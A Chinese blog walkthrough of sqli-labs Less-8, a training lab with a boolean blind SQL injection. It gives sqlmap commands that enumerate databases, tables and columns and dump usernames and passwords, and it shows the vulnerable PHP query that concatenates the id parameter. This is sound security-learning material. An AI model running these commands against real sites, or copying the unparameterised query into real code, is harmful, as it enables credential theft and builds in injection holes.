网络安全-sqlmap实战之sqlilabs-Less8

青旅半醒 2023-02-21 06:47 7阅读 0赞

**目录**

类型

\-dbs枚举数据库

\--tables枚举数据库表

\--columns枚举列

\--dump枚举数据

查看源代码

--------------------

# 类型 #

布尔盲注-单引号

猜测出sql语句

SELECT * FROM users where id = '参数' LIMIT 0,1

# \-dbs枚举数据库 #

使用-o参数优化,--batch参数进行跳过

python sqlmap.py -u "http://192.168.172.128/sqli-labs_1/Less-8/?id=1" -o -dbs --batch

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xhZHlfa2lsbGVyOQ_size_16_color_FFFFFF_t_70][] 过程

比较慢，一个字母一个字母的显示

![20200629163732252.PNG][] 数据库

# \--tables枚举数据库表 #

添加--dbms参数,--technique参数

python sqlmap.py -u "http://192.168.172.128/sqli-labs_1/Less-8/?id=1"--dbms mysql --technique B -o -D security --tables --batch

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xhZHlfa2lsbGVyOQ_size_16_color_FFFFFF_t_70 1][] 表

# \--columns枚举列 #

python sqlmap.py -u "http://192.168.172.128/sqli-labs_1/Less-8/?id=1"--dbms mysql --technique B -o -D security -T users --columns  --batch

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xhZHlfa2lsbGVyOQ_size_16_color_FFFFFF_t_70 2][] 列

# \--dump枚举数据 #

python sqlmap.py -u "http://192.168.172.128/sqli-labs_1/Less-8/?id=1"--dbms mysql --technique B -o -D security -T users -C username,password --dump --batch

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xhZHlfa2lsbGVyOQ_size_16_color_FFFFFF_t_70 3][] 数据

# 查看源代码 #

$id=$_GET['id'];
    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

更多内容查看：[网络安全-自学笔记][-]

有问题请下方评论，转载请注明出处，并附有原文链接，谢谢！如有侵权，请及时联系。

[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xhZHlfa2lsbGVyOQ_size_16_color_FFFFFF_t_70]: https://img-blog.csdnimg.cn/20200629163415576.PNG?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xhZHlfa2lsbGVyOQ==,size_16,color_FFFFFF,t_70
[20200629163732252.PNG]: https://img-blog.csdnimg.cn/20200629163732252.PNG
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xhZHlfa2lsbGVyOQ_size_16_color_FFFFFF_t_70 1]: https://img-blog.csdnimg.cn/20200629164201389.PNG?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xhZHlfa2lsbGVyOQ==,size_16,color_FFFFFF,t_70
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xhZHlfa2lsbGVyOQ_size_16_color_FFFFFF_t_70 2]: https://img-blog.csdnimg.cn/20200629164649647.PNG?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xhZHlfa2lsbGVyOQ==,size_16,color_FFFFFF,t_70
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xhZHlfa2lsbGVyOQ_size_16_color_FFFFFF_t_70 3]: https://img-blog.csdnimg.cn/20200629165930407.PNG?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xhZHlfa2lsbGVyOQ==,size_16,color_FFFFFF,t_70
[-]: https://blog.csdn.net/lady_killer9/article/details/106791542